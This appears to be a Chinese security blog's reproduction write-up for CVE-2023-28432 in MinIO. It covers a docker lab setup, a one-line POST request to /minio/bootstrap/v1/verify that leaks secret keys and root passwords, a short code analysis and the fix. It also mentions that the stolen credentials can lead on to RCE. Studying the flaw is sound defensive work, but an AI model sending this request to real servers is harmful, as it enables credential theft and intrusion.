关注我们❤️,添加星标🌟,一起学安全!
作者:akunda@Timeline Sec
本文字数:882
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
MinIO是基于GNU Affero通用公共许可证v3.0发布的高性能对象存储。兼容Amazon S3云存储服务的API。使用MinIO为机器学习、分析和应用程序数据工作负载构建高性能基础设施。
0x02 漏洞概述
漏洞编号:CVE-2023-28432 在集群模式中,MinIO的某些接口会因为信息处理不当而返回会返回所有环境变量,包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD,导致敏感信息泄露。使用分布式部署的所有用户都会受到影响。
0x03 影响版本
RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z
0x04 环境搭建
1. 本地搭建环境:2台Ubuntu,docker
2. 修改Ubuntu1和Ubuntu2的/etc/hosts文件,添加如下内容
192.168.31.254 minio-1
192.168.31.231 minio-2
3. 在Ubuntu1和Ubuntu2上分别拉取镜像
docker pull minio/minio:RELEASE.2023-03-13T19-46-17Z
4. 在Ubuntu1和Ubuntu2上分别启动docker
docker run -d --name minio-01 --restart=always --net=host -e MINIO_ACCESS_KEY=minio -e MINIO_SECRET_KEY=minio123 -v /root/minio/update:/data1 -v /root/minio/bakup:/data2 minio/minio:RELEASE.2023-03-13T19-46-17Z server --address 192.168.31.254:9000 http://minio-{1...3}/data{1...2}
docker run -d --name minio-02 --restart=always --net=host -e MINIO_ACCESS_KEY=minio -e MINIO_SECRET_KEY=minio123 -v /root/minio/update:/data1 -v /root/minio/bakup:/data2 minio/minio:RELEASE.2023-03-13T19-46-17Z server --address 192.168.31.231:9000 http://minio-{1...3}/data{1...2}
5. 访问http://192.168.31.254:9000,其会自动跳转到console
0x05 漏洞复现
1. 发送如下数据包,成功获取到minio的账号和密码
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 192.168.xx.xx:9000
2. 使用获取到的账号密码登录console,进一步利用可RCE
0x06 漏洞分析
1. 查看/cmd/bootstrap-peer-server.go中的路由信息,看到接口/minio/bootstrap/v1/verify对应的函数是VerifyHandler
2. 跟进VerifyHandler,这里调用了getServerSystemCfg去获取一些信息,然后以json格式返回
3. 跟进getServerSystemCfg,作用是读取环境变量,然后将其返回
0x07 修复方式
把请求传入storageServerRequestValidate进行一个认证
参考链接:
https://github.com/AbelChe/evil_minio
https://www.h3c.com/cn/d_202304/1830808_30003_0.htm
推荐服务
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!